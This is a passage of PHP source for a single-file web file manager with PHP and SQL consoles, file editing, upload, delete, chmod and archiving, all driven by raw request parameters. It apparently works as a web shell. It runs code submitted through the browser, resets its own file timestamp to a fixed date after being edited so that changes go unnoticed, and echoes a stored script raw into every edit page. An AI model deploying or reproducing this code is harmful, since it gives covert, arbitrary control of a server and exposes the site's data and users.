    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="filename" size="15">
				<input type="submit" name="mkfile" value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
